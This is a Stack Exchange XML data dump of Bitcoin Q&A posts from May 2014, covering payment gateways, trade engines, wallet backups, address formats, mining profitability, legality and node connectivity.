  <row Id="25476" PostTypeId="2" ParentId="20077" CreationDate="2014-05-21T07:11:42.260" Score="1" Body="&lt;p&gt;I would like to share how I ended up with this situation , After digging deep through most of the crypto currencies, I found that most of them use the same API, at least for the basic functions like sending and receiving coins and checking balance ...etc , so I ended up running all the coins on a dedicated server (I had to compile some of them and configure some others to run properly , which took a LOT of time), each coin had its own port, and whenever i wanted to communicate with any of the coins I used this library &lt;a href=&quot;https://github.com/aceat64/EasyBitcoin-PHP&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aceat64/EasyBitcoin-PHP&lt;/a&gt;, it was built to work with Bitcoin, but it worked with all the other coins, the only thing I had to change was the port number for each coin, At last i had my own crypto coin payment gateway on my own server :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any one is interested in the code and the server setup just let me know .&lt;/p&gt;&#xA;" OwnerUserId="11918" LastActivityDate="2014-05-21T07:11:42.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25477" PostTypeId="1" CreationDate="2014-05-21T09:28:07.210" Score="0" ViewCount="47" Body="&lt;p&gt;How cryptocoin trade engine works?  I want to build a simple trade engine(trading bot) in ruby on rails for cryptocoins. Can anybody lead me through proper steps. I am a newbie to cryptocoins.&lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="12634" LastEditDate="2014-05-21T10:06:13.210" LastActivityDate="2014-05-21T10:06:13.210" Title="Creating trade engine steps" Tags="|transactions|bitcoind|currencies|buy-bitcoins|trade|" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-25T22:13:11.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="25478" PostTypeId="1" CreationDate="2014-05-21T10:03:35.900" Score="0" ViewCount="110" Body="&lt;p&gt;I want to know how the trade engine works, sites likes cryptsy seems to have trade engine to automate the trade process, At first &lt;a href=&quot;https://coin-swap.net/&quot; rel=&quot;nofollow&quot;&gt;coin-swap&lt;/a&gt; seems to have option for &quot;Accept Trade&quot;, but now this also has been changed now it works similar to cryptsy, no option for Accept Trade, suppose i create a buy order in cryptsy it automatically match with sell order then i will get my buying currency&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the trade engine withdraw/deposit coins? &lt;/p&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2014-07-20T11:16:19.403" Title="Any guidance to built Simple and Basic trade engine?" Tags="|bitcoind|altcoin|trade|cryptsy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25479" PostTypeId="2" ParentId="25478" CreationDate="2014-05-21T10:13:47.227" Score="1" Body="&lt;p&gt;The trade engine itself does not withdraw or deposit coins. It would be terrible for the exchanges, because it slows the trading down enormously, and also the fee they collect is reduced (or the fee you pay is increased). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to withdraw some coins, the site checks the wallets they own who have enough balance. From one of those (Im not sure how that is selected, but there is probably some optimization there) your withdraw amount is transferred to your address. So you get bitcoin (or whatever altcoin) from a deposit wallet from someone else. This last thing does NOT mean you loose money, as cryptsy knows that you have 1 BTC (or whatever) on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the system is still the same as your &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25057/how-to-accept-trade-in-cryptsy/25058#25058&quot;&gt;previous&lt;/a&gt; question, and it is not completely clear what you are asking now. The trading works as I answered (and in the comments) over there. I hope the withdrawing is a bit more clear now.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-05-21T10:13:47.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25480" PostTypeId="2" ParentId="25240" CreationDate="2014-05-21T10:38:27.920" Score="2" Body="&lt;p&gt;That point has already been reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most people, Bitcoin mining is not profitable unless you live in a place like Iceland (i.e. with access to cheap, abundant electricity) or you have an already-installed solar panel/wind-mill installation that's already paid for itself and can divert some of that electricity into feeding your ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electricity expenses are the single most important fixed cost for miners and, with the current continuous escalation of both hashing power and difficulty, should you buy a machine now you'd never recover your initial inversion unless Bitcoin had another round of 10x increases in prices versus fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise for scrypt-based coins, buying graphic cards and refrigeration equipment is not worth it anymore unless you have access to darned cheap electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what happens in a completely free market: since there are no hard or legally mandated barriers to entry (or to exit) profitability for first comers drops very fast due to the continuous improvements in productivity that newcomers are bringing forth. So unless you can keep innovating (as an ASIC producer) or buying new equipment (as a pro-miner) you'll be left behind and become unprofitable.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-05-21T10:38:27.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25481" PostTypeId="1" CreationDate="2014-05-21T13:26:08.587" Score="1" ViewCount="106" Body="&lt;p&gt;I am developing a JSP web (based on Java) and I would like to let users send the altcoins to my servers wallet. I need something what would monitor if the coins (DOGE/BTC etc.) has arrived and just after that let the users do something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything like this? I am new here and maybe it is broad but let me explain better if you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean something like this: &lt;a href=&quot;http://bitcoinj.github.io/getting-started&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinj.github.io/getting-started&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but not only for BTC also for other coins.&lt;/p&gt;&#xA;" OwnerUserId="16885" LastEditorUserId="16885" LastEditDate="2014-05-21T15:53:16.033" LastActivityDate="2015-01-16T18:19:27.373" Title="API or framework for handling transactions" Tags="|api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25482" PostTypeId="1" CreationDate="2014-05-21T13:33:19.713" Score="1" ViewCount="328" Body="&lt;p&gt;I would like to know how a wallet address can be generated? One site suggested me to create a script for that, that is 1 option, I would like if any other there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mainly I am willing to know is how that address will get connected to network for transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have my wallet address and I give it to anyone, will the other be able to deposit bitcoins in that address, using my wallet address only? If yes how will the network come to know about my wallet address?&lt;/p&gt;&#xA;" OwnerUserId="16884" LastEditorUserId="15412" LastEditDate="2014-05-26T09:58:58.107" LastActivityDate="2014-05-26T09:58:58.107" Title="How to generate wallet address? And how to get that connected with internet for transactions?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ClosedDate="2014-07-11T12:19:57.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="25483" PostTypeId="2" ParentId="25482" CreationDate="2014-05-21T13:43:39.747" Score="3" Body="&lt;p&gt;You dont have to be connected to the internet to have your wallet verified or something. People can send bitcoin to you (or a random valid address) even without them knowing it exist. You can create an address on a site like &lt;a href=&quot;https://www.offlineaddress.com/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; or create an address in your wallet app (such as Multibit, which is a program I'd advise to use). I would suggest the latter option, because it is safer (just 1 site/app that could possible know your secret key) and it takes away the hassle of importing the wallet in Multibit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second question: yes, the address is the only thing the other person needs to know. Sometimes you also have a QR-code which act as the same thing, but your address alone is enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR. No need to connect to the internet, and create (and control) an address in Multibit. The one who is going to send you coins only needs to know your address. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-21T13:43:39.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25484" PostTypeId="2" ParentId="25481" CreationDate="2014-05-21T14:09:54.900" Score="1" Body="&lt;p&gt;for example you can subscribe to unconfirmed transaction on the &lt;a href=&quot;https://blockchain.info/it/api/api_websocket&quot; rel=&quot;nofollow&quot;&gt;blockchain websocket&lt;/a&gt; and monitor when your addresses appear in the flow. &lt;/p&gt;&#xA;" OwnerUserId="6693" LastActivityDate="2014-05-21T14:09:54.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25485" PostTypeId="1" AcceptedAnswerId="25487" CreationDate="2014-05-21T14:54:51.030" Score="1" ViewCount="65" Body="&lt;p&gt;Using Bitcoin, you can have transactions sent to different addresses. These addresses are, in turn, contained in wallets accessed by keys. The downside is, if you lose the keys, you will lose the Bitcoins (purchasing power) at those addresses in those wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What constitutes a widely accepted and reasonably safe backup system for the keys? Are there means of storing or &quot;hosting&quot; the keys in a way that most authorities would agree has minimal risk of loss?&lt;/p&gt;&#xA;" OwnerUserId="15143" LastActivityDate="2014-05-21T21:31:40.543" Title="What is an accepted standard for a Bitcoin system secure from loss?" Tags="|loss|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25486" PostTypeId="1" CreationDate="2014-05-21T15:12:05.063" Score="1" ViewCount="671" Body="&lt;p&gt;I changed the source code of bitcoin and I ran it. However, it gives the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chainparams.cpp:140: CMainParams::CMainParams(): Assertion `hashGenesisBlock == uint256(&quot;0xxx&quot;)' failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Aborted (core dumped)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also does not create .altcoin folder in home folder, so I cannot see debug.log. Why is this so?&lt;/p&gt;&#xA;" OwnerUserId="14570" LastEditorUserId="15412" LastEditDate="2014-05-21T17:11:41.250" LastActivityDate="2015-03-12T15:00:57.477" Title="Altcoin does not create .altcoin folder and debug.log" Tags="|altcoin|logging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25487" PostTypeId="2" ParentId="25485" CreationDate="2014-05-21T15:12:20.350" Score="3" Body="&lt;p&gt;The most common approach seems to be backing up your (encrypted) wallet on cloud hosting services such as &lt;a href=&quot;https://www.dropbox.com/&quot; rel=&quot;nofollow&quot;&gt;Dropbox&lt;/a&gt; and &lt;a href=&quot;https://drive.google.com/&quot; rel=&quot;nofollow&quot;&gt;Google Drive&lt;/a&gt;. To reduce the risk of theft, use a very strong password to encrypt your wallet, and do not store the password anywhere less secure than the password itself (e.g. if you use a password manager, it should also have a very strong password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reduce the risk of accidental loss, keep backups in multiple places. E.g. Dropbox, Google Drive, email it to your family and friends, back it up to an external hard drive; if one of these disappears, chances are still good that you can recover it from another source. You don't want the keys to be in only one physical location...e.g. having the only backup be in your house means that a house fire or theft could mean you lose your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just don't forget the password!&lt;/strong&gt; Maybe you should write it down and keep it in a safe deposit box at a bank, and/or keep paper wallets there, if it's worth the cost to you (maybe $15/year for a small box).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A rather different approach is taken by deterministic wallets like &lt;a href=&quot;https://bitcoinarmory.com/about/armory-backups-are-forever/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; and &lt;a href=&quot;https://electrum.org/seed.html&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;, which generate one root key or seed and then generate your private keys and addresses from that. Armory's root key works on the idea that you print out the ~256-bit root key in one or more fragments, and need the appropriate paper records to restore your wallet. Electrum's seed is a 128-bit number represented by 12 common words, which you commit to memory and/or write down. Securing these records would follow similar guidelines to a written password or paper wallets.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-21T15:22:31.773" LastActivityDate="2014-05-21T15:22:31.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25488" PostTypeId="2" ParentId="25485" CreationDate="2014-05-21T15:12:40.787" Score="3" Body="&lt;p&gt;Just like cash, if you want complete authority over your money, you also have to be responsible in storing in a way so you don't lose it or get it stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin protocol has ways to rely on third-parties to distribute the responsibility, that regular cash doesn't. The idea is that of multi-signature transactions. The bitcoins can only be claimed by 2 out of 3 keys. Instead of a single key, as most transactions are currently done, 2-of-3 transactions are much more secure from loss or theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the normal scenario, if you lose the key, you lose all your bitcoins. In this scenario, you have to lose 2 out of the 3 keys to lose your bitcoins. Ideally you would store 2 keys and the third would be in the hands of an untrusted third-party. If you lose one of the 2 keys, you can still rely on the third-party to claim your funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion this provides an incredible extra security measure that no other currency medium has ever been able to provide before: the ability to distribute responsibility of safekeeping your money, without having to trust anybody.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-21T21:31:40.543" LastActivityDate="2014-05-21T21:31:40.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25489" PostTypeId="1" CreationDate="2014-05-21T15:20:39.250" Score="2" ViewCount="786" Body="&lt;p&gt;If I want to sell bitcoins, assuming I was successful in either buying them or selling a service or a product and accepting bitcoins instead of normal cash. How can I convert the bitcoins back to cash ? &lt;/p&gt;&#xA;" OwnerUserId="16886" LastEditorUserId="5406" LastEditDate="2017-12-24T04:49:10.763" LastActivityDate="2022-12-13T13:05:39.947" Title="How to sell bitcoins for cash?" Tags="|sell-bitcoins|cash|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25490" PostTypeId="2" ParentId="25489" CreationDate="2014-05-21T15:33:28.627" Score="0" Body="&lt;p&gt;You have multiple options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of two:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In person you can use &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;localbitcoins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via bank account, I think there are several companies providing that service, one of them is &lt;a href=&quot;http://support.coinbase.com/customer/portal/articles/1148716-how-do-i-buy-and-sell-bitcoin-with-a-bank-account-&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2014-05-21T15:33:28.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25491" PostTypeId="1" CreationDate="2014-05-21T16:00:57.633" Score="1" ViewCount="49" Body="&lt;p&gt;I need depending on the address to assign a value of the transaction. &#xA;Both at the level of php distinguish btc ltc from ppc?&lt;/p&gt;&#xA;" OwnerUserId="12768" LastEditorUserId="15412" LastEditDate="2014-05-27T01:23:33.550" LastActivityDate="2014-05-27T01:23:33.550" Title="How to distinguish addresses currencies apart on php" Tags="|bitcoind|litecoin|address|php|peercoin|" AnswerCount="1" CommentCount="1" ClosedDate="2014-06-08T07:52:15.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="25492" PostTypeId="2" ParentId="25489" CreationDate="2014-05-21T16:22:45.260" Score="1" Body="&lt;p&gt;Another option would be to use an exchange which can withdrawal USD/EUR (depending what you want). A good option for that is &lt;a href=&quot;http://www.kraken.com&quot; rel=&quot;nofollow&quot;&gt;Kraken&lt;/a&gt;, as they have very low withdrawal and trading fees. You can trade your bitcoins to USD/EUR, and then withdrawal to your bank account. And no, I am in no way associated with Kraken, just a happy customer there&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-21T16:22:45.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25493" PostTypeId="2" ParentId="25491" CreationDate="2014-05-21T16:26:22.750" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;Bitcoin&lt;/a&gt; address always start with &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;3&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;A [Litecoin] address always starts with the letter &lt;code&gt;L&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;http://en.wikipedia.org/wiki/Peercoin#Addresses&quot; rel=&quot;nofollow&quot;&gt;Peercoin&lt;/a&gt; address starts with the letter &lt;code&gt;P&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assuming you can figure out how to check the first character in php, you can distinguish between different addresses. Then you can program whatever value you want into the transaction. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-21T16:26:22.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25494" PostTypeId="1" CreationDate="2014-05-21T17:36:23.933" Score="11" ViewCount="10900" Body="&lt;p&gt;I have one very basic question, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what programming languages are used to built bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="16887" LastActivityDate="2017-11-10T09:59:41.333" Title="what programming languages are used to built bitcoin?" Tags="|development|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="25495" PostTypeId="1" CreationDate="2014-05-21T17:42:13.340" Score="2" ViewCount="118" Body="&lt;p&gt;I am thinking where to find list what countries refuse or accept bitcoin as money?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read Denmark doesn't make tax for BTC because it is not accepted by the state as money. it has and legal consequences, if exchanger disappear with bitcoins, he will not go to the prison because he didn't steal money. as I see, mtgox took money, 100M bucks, and they are not in the prison. &lt;/p&gt;&#xA;" OwnerUserId="16887" LastEditorUserId="5406" LastEditDate="2014-09-03T11:32:52.423" LastActivityDate="2014-09-03T11:32:52.423" Title="what countries accept and refuse BTC as money?" Tags="|legal|" AnswerCount="2" CommentCount="1" ClosedDate="2014-05-21T22:13:46.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="25496" PostTypeId="2" ParentId="25494" CreationDate="2014-05-21T18:06:06.233" Score="12" Body="&lt;p&gt;The reference implementation, Bitcoin Core, is written &lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?l=c%2b%2b&quot;&gt;primarily in C++&lt;/a&gt;, with various resource files and scripts in other languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another implementation, mainly used in lightweight clients like MultiBit and Bitcoin Wallet (Android), is &lt;a href=&quot;http://bitcoinj.github.io/&quot;&gt;bitcoinj&lt;/a&gt;. It is written in Java.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-21T18:06:06.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25497" PostTypeId="2" ParentId="25495" CreationDate="2014-05-21T18:08:50.707" Score="1" Body="&lt;p&gt;I think the most up-to-date list is from &lt;a href=&quot;http://en.wikipedia.org/wiki/Legality_of_Bitcoins_by_country&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;. If you want more countries and more recent news, I think you have to search for each country individually. For example, in the Netherlands it is declared by a judge as NOT money, but has the same status as gold and silver. This is the translated &lt;a href=&quot;https://translate.google.nl/translate?sl=nl&amp;amp;tl=en&amp;amp;js=y&amp;amp;prev=_t&amp;amp;hl=en&amp;amp;ie=UTF-8&amp;amp;u=http%3A%2F%2Fuitspraken.rechtspraak.nl%2Finziendocument%3Fid%3DECLI%3ANL%3ARBOVE%3A2014%3A2667&amp;amp;edit-text=&amp;amp;act=url&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; from google.translate. If you are dutch and want to read it, &lt;a href=&quot;http://uitspraken.rechtspraak.nl/inziendocument?id=ECLI%3aNL%3aRBOVE:2014:2667&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is the link to the original document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The legal consequences differ from country to country, and I will not be surprised if it changes over time. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-21T18:08:50.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25498" PostTypeId="1" CreationDate="2014-05-21T18:48:30.433" Score="3" ViewCount="193" Body="&lt;p&gt;For Bitcoin it is common knowledge that 6 confirmations suffices. For the hundred of Alt Coins however, I'm not sure what the best practise to be protected enough from double-spents and the likes is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw Bter.com requires different confirmations varying on which Altcoin you want to deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example COMM-coin requires 10 confirmations, but BBQ coin 6, and Infinitecoin only 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a mathematical method behind this? How do they know how many confirmations to require?&lt;/p&gt;&#xA;" OwnerUserId="16888" LastActivityDate="2014-07-27T11:40:23.947" Title="Altcoins: Determine how many confirmations to require to deposit" Tags="|confirmations|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25499" PostTypeId="1" CreationDate="2014-05-21T18:48:35.390" Score="2" ViewCount="1063" Body="&lt;p&gt;I am developing JSP web. User will be redirected to another page only if he sends the certain amount of BTC, is there any listener which could check if money arrived to my wallet from the certain wallet address? &#xA;And after leaving the page is there possibility to automatically send the money back to the user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe some good tutorial on bitcoinj or something? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="16885" LastActivityDate="2014-10-07T12:48:29.533" Title="How to check if user sent me the BTC?" Tags="|bitcoinj|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25500" PostTypeId="2" ParentId="25495" CreationDate="2014-05-21T19:58:42.897" Score="1" Body="&lt;p&gt;To follow up on Mathias's answer (because I dont have enough rep to add a comment to it), and to address OP's question about going to prison. Just because Bitcoin isnt considered to be money or currency by a state doesn't mean it is quasi-legal to steal it. States will generally still consider it to be property even if it isnt money/currency, which would still be illegal to steal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to address Karpeles/Mt. Gox, he isnt in jail because there isnt any hard evidence that he stole it. Being a incompetent businessman and bankrupting a company &lt;em&gt;generally&lt;/em&gt; isnt illegal. &lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="15695" LastEditDate="2014-05-21T20:06:11.560" LastActivityDate="2014-05-21T20:06:11.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25501" PostTypeId="2" ParentId="25499" CreationDate="2014-05-21T20:05:09.250" Score="0" Body="&lt;p&gt;I don't know about bitcoinj but I suppose it has some kind of Api that you could poll for the wallet state. What really seems strange to me is the fact of redirecting. taking into account that you should have to wait for 6 blocks for a transaction to be confirmed with some security you'll have the user waiting for about an hour to redirect :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin payment verification is not instantaneous as you seem to imply from your post.&lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2014-05-21T20:05:09.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25502" PostTypeId="2" ParentId="18263" CreationDate="2014-05-21T22:47:12.373" Score="1" Body="&lt;p&gt;I realize this question is 8 months old but this information may be of value to others seeking a resolution to a segfault as there seems to be no information available at all on the problem. The APP SDK seems to be incompatible with ATI legacy drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The APP SDK is probably causing the segfault. I have a HD4770 and it was working with a pre-compiled copy of cgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I installed the APP SDK to compile sgminer everything seemed ok, sgminer compiled ok&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However is gave me a segfault and when I tried to run cgminer that was working it too gave me a segfault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After 3 days, I have been unable to restore things the way they were and undo the changes the APP SDK install made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fear that a complete OS reinstall will be my only solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also. the flags '-march=native' enables special cryptographic instructions that are incompatible with AMD CPU's before Bulldozer.&lt;/p&gt;&#xA;" OwnerUserId="16892" LastEditorUserId="16892" LastEditDate="2014-05-21T22:52:32.713" LastActivityDate="2014-05-21T22:52:32.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25504" PostTypeId="2" ParentId="2170" CreationDate="2014-05-22T00:53:30.183" Score="2" Body="&lt;p&gt;Both of the links in the previous two answers aren't working.&#xA;Historic data (both, until March 2014) can be viewed on the internet archive.&#xA;The last snapshot from blockexplorer.com: &lt;a href=&quot;https://web.archive.org/web/20130313092352/http://blockexplorer.com/q/reorglog&quot; rel=&quot;nofollow&quot;&gt;https://web.archive.org/web/20130313092352/http://blockexplorer.com/q/reorglog&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last snapshot from blockchain.info can be found in a similar way (stackexchange doesn't allow me to post more than 2 links, since I don't have enough reputation...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An updated information, that unfortunately contain few details, is available in Organ Ofcorti's blog.&lt;br&gt;&#xA;See, for example, &lt;a href=&quot;http://organofcorti.blogspot.com/2014/05/may-11th-2014-weekly-hashrate.html&quot; rel=&quot;nofollow&quot;&gt;http://organofcorti.blogspot.com/2014/05/may-11th-2014-weekly-hashrate.html&lt;/a&gt; , Table 2.&#xA;The information is presented per week, in an image (not as text - which makes it a bit harder to analyze).  &lt;/p&gt;&#xA;" OwnerUserId="3578" LastActivityDate="2014-05-22T00:53:30.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25505" PostTypeId="1" CreationDate="2014-05-22T01:03:30.763" Score="1" ViewCount="103" Body="&lt;p&gt;Once a day, roughly, two competing blocks with the same height are mined, which leads to one of them being orphaned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was there ever a &quot;natural&quot; case in which the fork lasted for two rounds? By natural I mean a fork that was not created by any bugs such as the one in March 2013 ( &lt;a href=&quot;https://bitcoin.org/en/alert/2013-03-11-chain-fork&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/alert/2013-03-11-chain-fork&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What was the longest fork?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A naive back of the envelope estimation says that it should happen once in 100 days, under the assumption that half of the network heard about each of the competing blocks first. Therefore, a more realistic estimation would be once in a year or two.&lt;/p&gt;&#xA;" OwnerUserId="3578" LastEditorUserId="5406" LastEditDate="2023-10-20T17:19:09.630" LastActivityDate="2023-10-20T17:19:09.630" Title="Longest &quot;natural&quot; fork" Tags="|blockchain-fork|stale-block|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2014-05-22T09:44:42.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="25508" PostTypeId="2" ParentId="10974" CreationDate="2014-05-22T03:12:40.357" Score="0" Body="&lt;p&gt;I think the above answer is good, but I have typically restored a few times with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. ShutDown BitCoin Client&#xA;2. Find your wallet location  (%APPDATA%\Bitcoin)   OR for example :  C:\Users\UserName\AppData\Roaming\Bitcoin&#xA;3. Backup, verify, then delete that wallet.dat file &#xA;4. Paste your other wallet.dat file into the folder.&#xA;5. Open BitCoin Client  , blocks get checked and updated, and you should see your amount.&#xA;6. I'm not sure that you need to do command prompt with the -rescan...   I didn't have to..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12274" LastEditorUserId="-1" LastEditDate="2017-12-24T04:57:46.313" LastActivityDate="2017-12-24T04:57:46.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25509" PostTypeId="1" CreationDate="2014-05-22T04:28:16.207" Score="0" ViewCount="479" Body="&lt;p&gt;I'm running bitcoind on a remote server (so I can only use the &quot;headless&quot; version). However, the client is not connecting to the bitcoin network. The &quot;getinfo&quot; command shows &quot;connections: 0&quot;. I have also been keeping an eye on the blocks folder and there is no change there (when running bitcoin on the local machine, I can see files being created and updated there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what my bitcoin.conf looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;daemon=1&#xA;server=1&#xA;rpcuser=&amp;lt;redacted&amp;gt;&#xA;rpcpassword=&amp;lt;redacted&amp;gt;&#xA;rpcport=&amp;lt;redacted&amp;gt;&#xA;rpctimeout=60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Port 8333 is open for UDP traffic in my firewall and I have used an external port scanner to verify that it is open. However, I understand that that's not actually necessary for outgoing connections. I've also checked that my date / time is synchronized (this was suggested in some of the threads that I found on this topic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are other possibilities?&lt;/p&gt;&#xA;" OwnerUserId="11714" LastEditorUserId="2306" LastEditDate="2014-09-11T22:47:22.623" LastActivityDate="2014-09-11T22:47:22.623" Title="bitcoind has 0 connections" Tags="|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
